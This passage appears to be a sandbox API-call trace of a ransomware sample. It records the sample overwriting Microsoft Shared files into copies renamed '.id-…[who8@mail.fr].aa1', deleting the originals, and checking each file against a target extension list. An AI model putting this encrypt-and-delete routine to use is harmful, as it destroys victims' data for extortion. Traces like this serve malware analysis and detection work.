Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0225.024] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.025] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.025] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0225.028] GetLastError () returned 0x0 [0225.028] ReadFile (in: hFile=0x20c, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x99ba0, lpOverlapped=0x0) returned 1 [0225.065] WriteFile (in: hFile=0x1b0, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0x99bb0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x99bb0, lpOverlapped=0x0) returned 1 [0225.080] ReadFile (in: hFile=0x20c, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.080] WriteFile (in: hFile=0x1b0, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.080] SetEndOfFile (hFile=0x1b0) returned 1 [0225.080] CloseHandle (hObject=0x1b0) returned 1 [0225.081] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.081] SetEndOfFile (hFile=0x20c) returned 1 [0225.365] CloseHandle (hObject=0x20c) returned 1 [0225.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0225.366] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe")) returned 1 [0225.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0225.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0225.366] lstrlenW (lpString=".doc") returned 4 [0225.366] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0225.367] lstrlenW (lpString=".docx") returned 5 [0225.367] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0225.367] lstrlenW (lpString=".pdf") returned 4 [0225.367] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0225.367] lstrlenW (lpString=".xls") returned 4 [0225.367] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0225.367] lstrlenW (lpString=".xlsx") returned 5 [0225.367] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0225.367] lstrlenW (lpString=".ppt") returned 4 [0225.367] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0225.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0225.367] lstrlenW (lpString=".zip") returned 4 [0225.367] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0225.367] lstrlenW (lpString=".rar") returned 4 [0225.367] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0225.367] lstrlenW (lpString=".bz2") returned 4 [0225.367] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0225.367] lstrlenW (lpString=".7z") returned 3 [0225.367] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0225.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0225.368] lstrlenW (lpString=".dbf") returned 4 [0225.368] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0225.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0225.368] lstrlenW (lpString=".1cd") returned 4 [0225.368] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0225.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0225.368] lstrlenW (lpString=".jpg") returned 4 [0225.368] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0225.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0225.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0225.368] lstrlenW (lpString=".doc") returned 4 [0225.368] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0225.368] lstrlenW (lpString=".docx") returned 5 [0225.368] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0225.368] lstrlenW (lpString=".pdf") returned 4 [0225.368] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0225.368] lstrlenW (lpString=".xls") returned 4 [0225.369] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0225.369] lstrlenW (lpString=".xlsx") returned 5 [0225.369] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0225.369] lstrlenW (lpString=".ppt") returned 4 [0225.369] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0225.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0225.369] lstrlenW (lpString=".zip") returned 4 [0225.369] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0225.369] lstrlenW (lpString=".rar") returned 4 [0225.369] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0225.369] lstrlenW (lpString=".bz2") returned 4 [0225.369] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0225.369] lstrlenW (lpString=".7z") returned 3 [0225.369] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0225.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0225.369] lstrlenW (lpString=".dbf") returned 4 [0225.369] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0225.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0225.369] lstrlenW (lpString=".1cd") returned 4 [0225.369] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0225.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0225.370] lstrlenW (lpString=".jpg") returned 4 [0225.370] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0225.370] lstrcmpiW (lpString1=".HLP", lpString2=".aa1") returned 1 [0225.370] lstrlenW (lpString="EQNEDT32.HLP") returned 12 [0225.370] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0225.659] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=176311) returned 1 [0225.659] CloseHandle (hObject=0x224) returned 1 [0225.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp")) returned 0x20 [0225.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0225.659] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0225.659] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.659] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.659] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0225.660] GetLastError () returned 0x0 [0225.660] ReadFile (in: hFile=0x224, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x2b0b7, lpOverlapped=0x0) returned 1 [0225.665] WriteFile (in: hFile=0x1dc, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0x2b0c0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x2b0c0, lpOverlapped=0x0) returned 1 [0225.669] ReadFile (in: hFile=0x224, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.669] WriteFile (in: hFile=0x1dc, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.669] SetEndOfFile (hFile=0x1dc) returned 1 [0225.669] CloseHandle (hObject=0x1dc) returned 1 [0225.669] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.669] SetEndOfFile (hFile=0x224) returned 1 [0225.671] CloseHandle (hObject=0x224) returned 1 [0225.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0225.672] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp")) returned 1 [0225.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0225.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0225.672] lstrlenW (lpString=".doc") returned 4 [0225.672] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0225.672] lstrlenW (lpString=".docx") returned 5 [0225.672] lstrcmpiW (lpString1=".docx", lpString2="2.HLP") returned -1 [0225.672] lstrlenW (lpString=".pdf") returned 4 [0225.672] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0225.672] lstrlenW (lpString=".xls") returned 4 [0225.672] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0225.672] lstrlenW (lpString=".xlsx") returned 5 [0225.672] lstrcmpiW (lpString1=".xlsx", lpString2="2.HLP") returned -1 [0225.672] lstrlenW (lpString=".ppt") returned 4 [0225.672] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0225.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0225.672] lstrlenW (lpString=".zip") returned 4 [0225.672] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0225.672] lstrlenW (lpString=".rar") returned 4 [0225.672] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0225.673] lstrlenW (lpString=".bz2") returned 4 [0225.673] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0225.673] lstrlenW (lpString=".7z") returned 3 [0225.673] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0225.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0225.673] lstrlenW (lpString=".dbf") returned 4 [0225.673] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0225.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0225.673] lstrlenW (lpString=".1cd") returned 4 [0225.673] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0225.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0225.673] lstrlenW (lpString=".jpg") returned 4 [0225.673] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0225.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0225.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0225.673] lstrlenW (lpString=".doc") returned 4 [0225.673] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0225.673] lstrlenW (lpString=".docx") returned 5 [0225.673] lstrcmpiW (lpString1=".docx", lpString2="2.HLP") returned -1 [0225.673] lstrlenW (lpString=".pdf") returned 4 [0225.673] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0225.673] lstrlenW (lpString=".xls") returned 4 [0225.673] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0225.673] lstrlenW (lpString=".xlsx") returned 5 [0225.673] lstrcmpiW (lpString1=".xlsx", lpString2="2.HLP") returned -1 [0225.673] lstrlenW (lpString=".ppt") returned 4 [0225.673] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0225.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0225.673] lstrlenW (lpString=".zip") returned 4 [0225.673] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0225.673] lstrlenW (lpString=".rar") returned 4 [0225.673] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0225.674] lstrlenW (lpString=".bz2") returned 4 [0225.674] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0225.674] lstrlenW (lpString=".7z") returned 3 [0225.674] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0225.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0225.674] lstrlenW (lpString=".dbf") returned 4 [0225.674] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0225.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0225.674] lstrlenW (lpString=".1cd") returned 4 [0225.674] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0225.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68 [0225.674] lstrlenW (lpString=".jpg") returned 4 [0225.674] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0225.691] lstrcmpiW (lpString1=".DLL", lpString2=".aa1") returned 1 [0225.692] lstrlenW (lpString="MSOEURO.DLL") returned 11 [0225.692] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0225.692] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=31104) returned 1 [0225.692] CloseHandle (hObject=0x1a0) returned 1 [0225.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll")) returned 0x20 [0225.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0225.692] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0225.693] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.693] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.693] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0225.693] GetLastError () returned 0x0 [0225.693] ReadFile (in: hFile=0x1a0, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x7980, lpOverlapped=0x0) returned 1 [0225.803] WriteFile (in: hFile=0x1f0, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0x7990, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x7990, lpOverlapped=0x0) returned 1 [0225.966] ReadFile (in: hFile=0x1a0, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.966] WriteFile (in: hFile=0x1f0, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0225.966] SetEndOfFile (hFile=0x1f0) returned 1 [0225.966] CloseHandle (hObject=0x1f0) returned 1 [0225.966] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.966] SetEndOfFile (hFile=0x1a0) returned 1 [0225.967] CloseHandle (hObject=0x1a0) returned 1 [0225.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0225.968] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll")) returned 1 [0225.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0225.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0225.968] lstrlenW (lpString=".doc") returned 4 [0225.968] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0225.968] lstrlenW (lpString=".docx") returned 5 [0225.968] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0225.968] lstrlenW (lpString=".pdf") returned 4 [0225.968] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0225.968] lstrlenW (lpString=".xls") returned 4 [0225.968] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0225.968] lstrlenW (lpString=".xlsx") returned 5 [0225.968] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0225.969] lstrlenW (lpString=".ppt") returned 4 [0225.969] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0225.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0225.969] lstrlenW (lpString=".zip") returned 4 [0225.969] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0225.969] lstrlenW (lpString=".rar") returned 4 [0225.969] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0225.969] lstrlenW (lpString=".bz2") returned 4 [0225.969] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0225.969] lstrlenW (lpString=".7z") returned 3 [0225.969] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0225.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0225.969] lstrlenW (lpString=".dbf") returned 4 [0225.969] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0225.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0225.969] lstrlenW (lpString=".1cd") returned 4 [0225.969] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0225.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0225.969] lstrlenW (lpString=".jpg") returned 4 [0225.969] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0225.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0225.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0225.970] lstrlenW (lpString=".doc") returned 4 [0225.970] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0225.970] lstrlenW (lpString=".docx") returned 5 [0225.970] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0225.970] lstrlenW (lpString=".pdf") returned 4 [0225.970] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0225.970] lstrlenW (lpString=".xls") returned 4 [0225.970] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0225.970] lstrlenW (lpString=".xlsx") returned 5 [0225.970] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0225.970] lstrlenW (lpString=".ppt") returned 4 [0225.970] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0225.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0225.970] lstrlenW (lpString=".zip") returned 4 [0225.970] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0225.970] lstrlenW (lpString=".rar") returned 4 [0225.970] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0225.970] lstrlenW (lpString=".bz2") returned 4 [0225.970] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0225.970] lstrlenW (lpString=".7z") returned 3 [0225.970] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0225.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0225.970] lstrlenW (lpString=".dbf") returned 4 [0225.970] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0225.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0225.970] lstrlenW (lpString=".1cd") returned 4 [0225.970] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0225.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0225.970] lstrlenW (lpString=".jpg") returned 4 [0225.970] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0225.971] lstrcmpiW (lpString1=".DLL", lpString2=".aa1") returned 1 [0225.971] lstrlenW (lpString="VISFILT.DLL") returned 11 [0225.971] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0226.262] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=2124664) returned 1 [0226.262] CloseHandle (hObject=0x22c) returned 1 [0226.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll")) returned 0x20 [0226.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0226.263] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0226.263] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0226.263] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc6c | out: 